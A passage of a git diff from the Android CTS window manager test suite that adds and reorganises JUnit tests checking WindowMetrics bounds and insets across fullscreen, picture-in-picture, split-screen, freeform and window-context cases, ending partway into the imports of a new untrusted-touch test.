+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.server.wm.WindowManagerState.STATE_PAUSED;
+import static android.server.wm.WindowMetricsTestHelper.getBoundsExcludingNavigationBarAndCutout;
+import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.PictureInPictureParams;
+import android.content.ComponentName;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.WindowMetricsTestHelper.OnLayoutChangeListener;
+import android.view.Display;
+import android.view.WindowManager;
+import android.view.WindowMetrics;
+
+import org.junit.Test;
+
+/**
+ * Tests that verify the behavior of {@link WindowMetrics} APIs on {@link Activity activities}.
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:WindowMetricsActivityTests
+ */
+@Presubmit
+public class WindowMetricsActivityTests extends WindowManagerTestBase {
+    private static final Rect WINDOW_BOUNDS = new Rect(100, 100, 400, 400);
+    private static final Rect RESIZED_WINDOW_BOUNDS = new Rect(100, 100, 900, 900);
+    private static final int MOVE_OFFSET = 100;
+
+    @Test
+    public void testMetricsMatchesLayoutOnActivityOnCreate() {
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+        final OnLayoutChangeListener listener = activity.mListener;
+
+        listener.waitForLayout();
+
+        WindowMetricsTestHelper.assertMetricsMatchesLayout(activity.mOnCreateCurrentMetrics,
+                activity.mOnCreateMaximumMetrics, listener.getLayoutBounds(),
+                listener.getLayoutInsets());
+    }
+
+    @Test
+    public void testMetricsMatchesDisplayAreaOnActivity() {
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+
+        assertMetricsValidity(activity);
+    }
+
+    @Test
+    public void testMetricsMatchesLayoutOnPipActivity() {
+        assumeTrue(supportsPip());
+
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+
+        assertMetricsMatchesLayout(activity);
+
+        activity.enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+        waitForEnterPipAnimationComplete(activity.getComponentName());
+
+        assertMetricsMatchesLayout(activity);
+    }
+
+    @Test
+    public void testMetricsMatchesDisplayAreaOnPipActivity() {
+        assumeTrue(supportsPip());
+
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+
+        assertMetricsValidity(activity);
+
+        activity.enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+        waitForEnterPipAnimationComplete(activity.getComponentName());
+
+        assertMetricsValidity(activity);
+    }
+
+    /**
+     * Waits until the picture-in-picture animation has finished.
+     */
+    private void waitForEnterPipAnimationComplete(ComponentName activityName) {
+        waitForEnterPip(activityName);
+        mWmState.waitForWithAmState(wmState -> {
+            WindowManagerState.ActivityTask task = wmState.getTaskByActivity(activityName);
+            if (task == null) {
+                return false;
+            }
+            WindowManagerState.Activity activity = task.getActivity(activityName);
+            return activity.getWindowingMode() == WINDOWING_MODE_PINNED
+                    && activity.getState().equals(STATE_PAUSED);
+        }, "checking activity windowing mode");
+    }
+
+    /**
+     * Waits until the given activity has entered picture-in-picture mode (allowing for the
+     * subsequent animation to start).
+     */
+    private void waitForEnterPip(ComponentName activityName) {
+        mWmState.waitForWithAmState(wmState -> {
+            WindowManagerState.ActivityTask task = wmState.getTaskByActivity(activityName);
+            return task != null && task.getWindowingMode() == WINDOWING_MODE_PINNED;
+        }, "checking task windowing mode");
+    }
+
+    @Test
+    public void testMetricsMatchesLayoutOnSplitActivity() {
+        assumeTrue(supportsSplitScreenMultiWindow());
+
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+
+        assertMetricsMatchesLayout(activity);
+
+        setActivityTaskWindowingMode(activity.getComponentName(),
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        mWmState.computeState(activity.getComponentName());
+        mWmState.assertContainsStack("Must contain primary split-screen stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+        assertMetricsMatchesLayout(activity);
+    }
+
+    @Test
+    public void testMetricsMatchesDisplayAreaOnSplitActivity() {
+        assumeTrue(supportsSplitScreenMultiWindow());
+
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+
+        assertMetricsValidity(activity);
+
+        setActivityTaskWindowingMode(activity.getComponentName(),
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        mWmState.computeState(activity.getComponentName());
+        mWmState.assertContainsStack("Must contain primary split-screen stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+        assertMetricsValidity(activity);
+    }
+
+    @Test
+    public void testMetricsMatchesLayoutOnFreeformActivity() {
+        assumeTrue(supportsFreeform());
+
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+
+        assertMetricsMatchesLayout(activity);
+
+        setActivityTaskWindowingMode(activity.getComponentName(),
+                WINDOWING_MODE_FREEFORM);
+        // Resize the freeform activity.
+        resizeActivityTask(activity.getComponentName(), WINDOW_BOUNDS.left, WINDOW_BOUNDS.top,
+                WINDOW_BOUNDS.right, WINDOW_BOUNDS.bottom);
+        mWmState.computeState(activity.getComponentName());
+
+        assertMetricsMatchesLayout(activity);
+
+        // Resize again.
+        resizeActivityTask(activity.getComponentName(), RESIZED_WINDOW_BOUNDS.left,
+                RESIZED_WINDOW_BOUNDS.top, RESIZED_WINDOW_BOUNDS.right,
+                RESIZED_WINDOW_BOUNDS.bottom);
+        mWmState.computeState(activity.getComponentName());
+
+        assertMetricsMatchesLayout(activity);
+
+        // Move the activity.
+        resizeActivityTask(activity.getComponentName(), MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.left,
+                MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.top, MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.right,
+                MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.bottom);
+        mWmState.computeState(activity.getComponentName());
+
+        assertMetricsMatchesLayout(activity);
+    }
+
+    @Test
+    public void testMetricsMatchesDisplayAreaOnFreeformActivity() {
+        assumeTrue(supportsFreeform());
+
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+
+        assertMetricsValidity(activity);
+
+        setActivityTaskWindowingMode(activity.getComponentName(),
+                WINDOWING_MODE_FREEFORM);
+        // Resize the freeform activity.
+        resizeActivityTask(activity.getComponentName(), WINDOW_BOUNDS.left, WINDOW_BOUNDS.top,
+                WINDOW_BOUNDS.right, WINDOW_BOUNDS.bottom);
+
+        assertMetricsValidity(activity);
+
+        // Resize again.
+        resizeActivityTask(activity.getComponentName(), RESIZED_WINDOW_BOUNDS.left,
+                RESIZED_WINDOW_BOUNDS.top, RESIZED_WINDOW_BOUNDS.right,
+                RESIZED_WINDOW_BOUNDS.bottom);
+
+        assertMetricsValidity(activity);
+
+        // Move the activity.
+        resizeActivityTask(activity.getComponentName(), MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.left,
+                MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.top, MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.right,
+                MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.bottom);
+
+        assertMetricsValidity(activity);
+    }
+
+    private static void assertMetricsMatchesLayout(MetricsActivity activity) {
+        final OnLayoutChangeListener listener = activity.mListener;
+        listener.waitForLayout();
+
+        final WindowMetrics currentMetrics = activity.getWindowManager().getCurrentWindowMetrics();
+        final WindowMetrics maxMetrics = activity.getWindowManager().getMaximumWindowMetrics();
+
+        Condition.waitFor(new Condition<>("WindowMetrics must match layout metrics",
+                () -> currentMetrics.getBounds().equals(listener.getLayoutBounds()))
+                .setRetryIntervalMs(500).setRetryLimit(10)
+                .setOnFailure(unused -> fail("WindowMetrics must match layout metrics. Layout"
+                        + "bounds is" + listener.getLayoutBounds() + ", while current window"
+                        + "metrics is " + currentMetrics.getBounds())));
+
+        final boolean isFreeForm = activity.getResources().getConfiguration().windowConfiguration
+                .getWindowingMode() == WINDOWING_MODE_FREEFORM;
+        WindowMetricsTestHelper.assertMetricsMatchesLayout(currentMetrics, maxMetrics,
+                listener.getLayoutBounds(), listener.getLayoutInsets(), isFreeForm);
+    }
+
+    /**
+     * Verify two scenarios for an {@link Activity}
+     * <ul>
+     *     <li>{@link WindowManager#getCurrentWindowMetrics()} matches
+     *     {@link Display#getSize(Point)}</li>
+     *     <li>{@link WindowManager#getMaximumWindowMetrics()} matches
+     *     DisplayArea bounds which the {@link Activity} is attached to.</li>
+     * </ul>
+     */
+    private void assertMetricsValidity(Activity activity) {
+        mWmState.computeState(activity.getComponentName());
+        final Display display = activity.getDisplay();
+
+        // Check window bounds
+        final Point displaySize = new Point();
+        final boolean isFreeForm = activity.getResources().getConfiguration().windowConfiguration
+                .getWindowingMode() == WINDOWING_MODE_FREEFORM;
+        display.getSize(displaySize);
+        final WindowMetrics windowMetrics = activity.getWindowManager().getCurrentWindowMetrics();
+        // Freeform activity doesn't inset the navigation bar and cutout area.
+        final Rect bounds = isFreeForm ? windowMetrics.getBounds() :
+                getBoundsExcludingNavigationBarAndCutout(windowMetrics);
+        assertEquals("Reported display width must match window width",
+                displaySize.x, bounds.width());
+        assertEquals("Reported display height must match window height",
+                displaySize.y, bounds.height());
+
+        // Check max window bounds
+        final Rect tdaBounds = getTaskDisplayAreaBounds(activity.getComponentName());
+        final WindowMetrics maxWindowMetrics = activity.getWindowManager()
+                .getMaximumWindowMetrics();
+        assertEquals("Display area bounds must match max window size",
+                tdaBounds, maxWindowMetrics.getBounds());
+    }
+
+    private Rect getTaskDisplayAreaBounds(ComponentName activityName) {
+        WindowManagerState.DisplayArea tda = mWmState.getTaskDisplayArea(activityName);
+        return tda.mFullConfiguration.windowConfiguration.getBounds();
+    }
+
+    public static class MetricsActivity extends FocusableActivity {
+        private WindowMetrics mOnCreateMaximumMetrics;
+        private WindowMetrics mOnCreateCurrentMetrics;
+        private final OnLayoutChangeListener mListener = new OnLayoutChangeListener();
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            mOnCreateCurrentMetrics = getWindowManager().getCurrentWindowMetrics();
+            mOnCreateMaximumMetrics = getWindowManager().getMaximumWindowMetrics();
+            getWindow().getDecorView().addOnLayoutChangeListener(mListener);
+
+            // Always extend the cutout areas because layout doesn't get the waterfall cutout.
+            final WindowManager.LayoutParams attrs = getWindow().getAttributes();
+            attrs.layoutInDisplayCutoutMode = LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+            getWindow().setAttributes(attrs);
+        }
+
+        @Override
+        protected void onDestroy() {
+            super.onDestroy();
+            getWindow().getDecorView().removeOnLayoutChangeListener(mListener);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTestHelper.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTestHelper.java
new file mode 100644
index 0000000..71d1c6d
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTestHelper.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.view.WindowInsets.Type.displayCutout;
+import static android.view.WindowInsets.Type.navigationBars;
+import static android.view.WindowInsets.Type.statusBars;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Insets;
+import android.graphics.Rect;
+import android.view.View;
+import android.view.WindowInsets;
+import android.view.WindowMetrics;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/** Helper class to test {@link WindowMetrics} behaviors. */
+public class WindowMetricsTestHelper {
+    public static void assertMetricsMatchesLayout(WindowMetrics currentMetrics,
+            WindowMetrics maxMetrics, Rect layoutBounds, WindowInsets layoutInsets) {
+        assertMetricsMatchesLayout(currentMetrics, maxMetrics, layoutBounds, layoutInsets,
+                false /* isFreeformActivity */);
+    }
+
+    public static void assertMetricsMatchesLayout(WindowMetrics currentMetrics,
+            WindowMetrics maxMetrics, Rect layoutBounds, WindowInsets layoutInsets,
+            boolean isFreeformActivity) {
+        assertEquals(layoutBounds, currentMetrics.getBounds());
+        // Freeform activities doesn't guarantee max window metrics bounds is larger than current
+        // window metrics bounds. The bounds of a freeform activity is unlimited except that
+        // it must be contained in display bounds.
+        if (!isFreeformActivity) {
+            assertTrue(maxMetrics.getBounds().width()
+                    >= currentMetrics.getBounds().width());
+            assertTrue(maxMetrics.getBounds().height()
+                    >= currentMetrics.getBounds().height());
+        }
+        final int insetsType = statusBars() | navigationBars() | displayCutout();
+        assertEquals(layoutInsets.getInsets(insetsType),
+                currentMetrics.getWindowInsets().getInsets(insetsType));
+        assertEquals(layoutInsets.getDisplayCutout(),
+                currentMetrics.getWindowInsets().getDisplayCutout());
+    }
+
+    public static Rect getBoundsExcludingNavigationBarAndCutout(WindowMetrics windowMetrics) {
+        WindowInsets windowInsets = windowMetrics.getWindowInsets();
+        final Insets insetsWithCutout =
+                windowInsets.getInsetsIgnoringVisibility(navigationBars() | displayCutout());
+
+        final Rect bounds = windowMetrics.getBounds();
+        return inset(bounds, insetsWithCutout);
+    }
+
+    private static Rect inset(Rect original, Insets insets) {
+        final int left = original.left + insets.left;
+        final int top = original.top + insets.top;
+        final int right = original.right - insets.right;
+        final int bottom = original.bottom - insets.bottom;
+        return new Rect(left, top, right, bottom);
+    }
+
+    public static class OnLayoutChangeListener implements View.OnLayoutChangeListener {
+        private final CountDownLatch mLayoutLatch = new CountDownLatch(1);
+
+        private volatile Rect mOnLayoutBoundsInScreen;
+        private volatile WindowInsets mOnLayoutInsets;
+
+        @Override
+        public void onLayoutChange(View v, int left, int top, int right, int bottom, int oldLeft,
+                int oldTop, int oldRight, int oldBottom) {
+            synchronized (this) {
+                mOnLayoutBoundsInScreen = new Rect(left, top, right, bottom);
+                // Convert decorView's bounds from window coordinates to screen coordinates.
+                final int[] locationOnScreen = new int[2];
+                v.getLocationOnScreen(locationOnScreen);
+                mOnLayoutBoundsInScreen.offset(locationOnScreen[0], locationOnScreen[1]);
+
+                mOnLayoutInsets = v.getRootWindowInsets();
+                mLayoutLatch.countDown();
+            }
+        }
+
+        public Rect getLayoutBounds() {
+            synchronized (this) {
+                return mOnLayoutBoundsInScreen;
+            }
+        }
+
+        public WindowInsets getLayoutInsets() {
+            synchronized (this) {
+                return mOnLayoutInsets;
+            }
+        }
+
+        void waitForLayout() {
+            try {
+                assertTrue("Timed out waiting for layout.",
+                        mLayoutLatch.await(4, TimeUnit.SECONDS));
+            } catch (InterruptedException e) {
+                throw new AssertionError(e);
+            }
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTests.java
deleted file mode 100644
index 05d80a0..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTests.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import static android.view.WindowInsets.Type.displayCutout;
-import static android.view.WindowInsets.Type.navigationBars;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
-
-import android.app.Activity;
-import android.graphics.Insets;
-import android.graphics.Point;
-import android.graphics.Rect;
-import android.os.Bundle;
-import android.platform.test.annotations.Presubmit;
-import android.view.Display;
-import android.view.View;
-import android.view.WindowInsets;
-import android.view.WindowMetrics;
-
-import androidx.test.rule.ActivityTestRule;
-
-import org.junit.Test;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests that verify the behavior of {@link WindowMetrics} and {@link android.app.WindowContext} API
- *
- * Build/Install/Run:
- *     atest CtsWindowManagerDeviceTestCases:WindowMetricsTests
- */
-@Presubmit
-public class WindowMetricsTests extends WindowManagerTestBase {
-
-    private ActivityTestRule<MetricsActivity> mMetricsActivity =
-            new ActivityTestRule<>(MetricsActivity.class);
-
-    @Test
-    public void testMetricsSanity() {
-        // TODO(b/149668895): handle device with cutout.
-        assumeFalse(hasDisplayCutout());
-
-        final MetricsActivity activity = mMetricsActivity.launchActivity(null);
-        activity.waitForLayout();
-
-        assertEquals(activity.mOnLayoutBoundsInScreen,
-                activity.mOnCreateCurrentMetrics.getBounds());
-        assertTrue(activity.mOnCreateMaximumMetrics.getBounds().width()
-                >= activity.mOnCreateCurrentMetrics.getBounds().width());
-        assertTrue(activity.mOnCreateMaximumMetrics.getBounds().height()
-                >= activity.mOnCreateCurrentMetrics.getBounds().height());
-
-        assertEquals(activity.mOnLayoutInsets.getSystemWindowInsets(),
-                activity.mOnCreateCurrentMetrics.getWindowInsets().getSystemWindowInsets());
-        assertEquals(activity.mOnLayoutInsets.getStableInsets(),
-                activity.mOnCreateCurrentMetrics.getWindowInsets().getStableInsets());
-        assertEquals(activity.mOnLayoutInsets.getDisplayCutout(),
-                activity.mOnCreateCurrentMetrics.getWindowInsets().getDisplayCutout());
-    }
-
-    @Test
-    public void testMetricsMatchesDisplay() {
-        final MetricsActivity activity = mMetricsActivity.launchActivity(null);
-        activity.waitForLayout();
-
-        final Display display = activity.getDisplay();
-
-        // Check window size
-        final Point displaySize = new Point();
-        display.getSize(displaySize);
-        final WindowMetrics windowMetrics = activity.getWindowManager().getCurrentWindowMetrics();
-        final Rect bounds = getLegacyBounds(windowMetrics);
-        assertEquals("Reported display width must match window width",
-                displaySize.x, bounds.width());
-        assertEquals("Reported display height must match window height",
-                displaySize.y, bounds.height());
-
-        // Check max window size
-        final Point realDisplaySize = new Point();
-        display.getRealSize(realDisplaySize);
-        final WindowMetrics maxWindowMetrics = activity.getWindowManager()
-                .getMaximumWindowMetrics();
-        assertEquals("Reported real display width must match max window size",
-                realDisplaySize.x, maxWindowMetrics.getBounds().width());
-        assertEquals("Reported real display height must match max window size",
-                realDisplaySize.y, maxWindowMetrics.getBounds().height());
-    }
-
-    private static Rect getLegacyBounds(WindowMetrics windowMetrics) {
-        WindowInsets windowInsets = windowMetrics.getWindowInsets();
-        final Insets insetsWithCutout =
-                windowInsets.getInsetsIgnoringVisibility(navigationBars() | displayCutout());
-
-        final Rect bounds = windowMetrics.getBounds();
-        return inset(bounds, insetsWithCutout);
-    }
-
-    private static Rect inset(Rect original, Insets insets) {
-        final int left = original.left + insets.left;
-        final int top = original.top + insets.top;
-        final int right = original.right - insets.right;
-        final int bottom = original.bottom - insets.bottom;
-        return new Rect(left, top, right, bottom);
-    }
-
-    public static class MetricsActivity extends Activity implements View.OnLayoutChangeListener {
-
-        private final CountDownLatch mLayoutLatch = new CountDownLatch(1);
-
-        private WindowMetrics mOnCreateMaximumMetrics;
-        private WindowMetrics mOnCreateCurrentMetrics;
-
-        private Rect mOnLayoutBoundsInScreen;
-        private WindowInsets mOnLayoutInsets;
-
-        @Override
-        protected void onCreate(Bundle savedInstanceState) {
-            super.onCreate(savedInstanceState);
-            mOnCreateCurrentMetrics = getWindowManager().getCurrentWindowMetrics();
-            mOnCreateMaximumMetrics = getWindowManager().getMaximumWindowMetrics();
-            getWindow().getDecorView().addOnLayoutChangeListener(this);
-        }
-
-        @Override
-        public void onLayoutChange(View v, int left, int top, int right, int bottom, int oldLeft,
-                int oldTop, int oldRight, int oldBottom) {
-            final View decorView = getWindow().getDecorView();
-            mOnLayoutBoundsInScreen = new Rect(decorView.getTop(), decorView.getLeft(),
-                    decorView.getRight(), decorView.getBottom());
-            // Convert decorView's bounds from window coordinates to screen coordinates.
-            final int[] locationOnScreen = new int[2];
-            decorView.getLocationOnScreen(locationOnScreen);
-            mOnLayoutBoundsInScreen.offset(locationOnScreen[0], locationOnScreen[1]);
-
-            mOnLayoutInsets = decorView.getRootWindowInsets();
-            mLayoutLatch.countDown();
-        }
-
-        void waitForLayout() {
-            try {
-                assertTrue("timed out waiting for activity to layout",
-                        mLayoutLatch.await(4, TimeUnit.SECONDS));
-            } catch (InterruptedException e) {
-                throw new AssertionError(e);
-            }
-        }
-    }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsWindowContextTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsWindowContextTests.java
new file mode 100644
index 0000000..e9ad18a
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsWindowContextTests.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.WindowMetricsTestHelper.assertMetricsMatchesLayout;
+import static android.server.wm.WindowMetricsTestHelper.getBoundsExcludingNavigationBarAndCutout;
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
+import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.graphics.PixelFormat;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.WindowMetricsTestHelper.OnLayoutChangeListener;
+import android.view.Display;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowMetrics;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Test;
+
+/**
+ * Tests that verify the behavior of {@link WindowMetrics} and {@link android.app.WindowContext}
+ * APIs
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:WindowMetricsWindowContextTests
+ */
+@Presubmit
+public class WindowMetricsWindowContextTests extends WindowManagerTestBase {
+    @Test
+    public void testMetricsMatchesLayoutOnWindowContext() {
+        createAllowSystemAlertWindowAppOpSession();
+        final WindowContextTestSession mWindowContextSession =
+                mObjectTracker.manage(new WindowContextTestSession());
+
+        mWindowContextSession.assertWindowContextMetricsMatchesLayout();
+    }
+
+    @Test
+    public void testMetricsMatchesDisplayAreaOnWindowContext() {
+        createAllowSystemAlertWindowAppOpSession();
+        final WindowContextTestSession mWindowContextSession =
+                mObjectTracker.manage(new WindowContextTestSession());
+
+        mWindowContextSession.assertWindowContextMetricsMatchesDisplayArea();
+    }
+
+    private class WindowContextTestSession implements AutoCloseable {
+        private static final String TEST_WINDOW_NAME = "WindowMetricsTests";
+        private View mView;
+        private final Context mWindowContext;
+        private final WindowManager mWm;
+        private final OnLayoutChangeListener mListener = new OnLayoutChangeListener();
+
+        private WindowContextTestSession() {
+            final Context appContext = ApplicationProvider.getApplicationContext();
+            final Display display = appContext.getSystemService(DisplayManager.class)
+                    .getDisplay(DEFAULT_DISPLAY);
+            mWindowContext = appContext.createDisplayContext(display)
+                    .createWindowContext(TYPE_APPLICATION_OVERLAY, null /* options */);
+
+            mWm = mWindowContext.getSystemService(WindowManager.class);
+
+            InstrumentationRegistry.getInstrumentation().runOnMainSync(() -> {
+                mView = new View(mWindowContext);
+                mView.addOnLayoutChangeListener(mListener);
+                final WindowManager.LayoutParams params = getFullscreenOverlayAttributes();
+                mWm.addView(mView, params);
+            });
+        }
+
+        private void assertWindowContextMetricsMatchesLayout() {
+            mListener.waitForLayout();
+
+            final WindowMetrics currentMetrics = mWm.getCurrentWindowMetrics();
+            final WindowMetrics maxMetrics = mWm.getMaximumWindowMetrics();
+
+            assertMetricsMatchesLayout(currentMetrics, maxMetrics,
+                    mListener.getLayoutBounds(), mListener.getLayoutInsets());
+        }
+
+        private void assertWindowContextMetricsMatchesDisplayArea() {
+            // Check window bounds
+            final Point displaySize = new Point();
+            mWindowContext.getDisplay().getSize(displaySize);
+            final WindowMetrics currentMetrics = mWm.getCurrentWindowMetrics();
+            final Rect bounds = getBoundsExcludingNavigationBarAndCutout(currentMetrics);
+
+            assertEquals("Reported display width must match window width",
+                    displaySize.x, bounds.width());
+            assertEquals("Reported display height must match window height",
+                    displaySize.y, bounds.height());
+
+
+            mWmState.computeState();
+
+            // Check max window bounds
+            final WindowMetrics maxMetrics = mWm.getMaximumWindowMetrics();
+            WindowManagerState.DisplayArea da = mWmState.getDisplayArea(TEST_WINDOW_NAME);
+            final Rect daBounds = da.mFullConfiguration.windowConfiguration.getBounds();
+
+            assertEquals("Display area bounds must match max window size",
+                    daBounds, maxMetrics.getBounds());
+        }
+
+        @Override
+        public void close() throws Exception {
+            InstrumentationRegistry.getInstrumentation().runOnMainSync(()
+                    -> mWm.removeViewImmediate(mView));
+            mView.removeOnLayoutChangeListener(mListener);
+        }
+
+        private WindowManager.LayoutParams getFullscreenOverlayAttributes() {
+            final WindowManager.LayoutParams params = new WindowManager.LayoutParams(
+                    MATCH_PARENT, MATCH_PARENT, TYPE_APPLICATION_OVERLAY, 0,
+                    PixelFormat.TRANSLUCENT);
+            // Used for obtain the attached DisplayArea.
+            params.setTitle(TEST_WINDOW_NAME);
+            params.setFitInsetsTypes(0 /* types */);
+            params.setFitInsetsIgnoringVisibility(true);
+            params.layoutInDisplayCutoutMode = LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+            return params;
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
index ee80068..0438fd1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
@@ -826,7 +826,6 @@
 
         public ProjectedPresentation(Context outerContext, Display display) {
             super(outerContext, display);
-            getWindow().setType(WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION);
             getWindow().addFlags(WindowManager.LayoutParams.FLAG_LOCAL_FOCUS_MODE);
         }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
new file mode 100644
index 0000000..1283769
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
@@ -0,0 +1,1103 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW;
+import static android.server.wm.UiDeviceUtils.pressUnlockButton;
+import static android.server.wm.UiDeviceUtils.pressWakeupButton;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
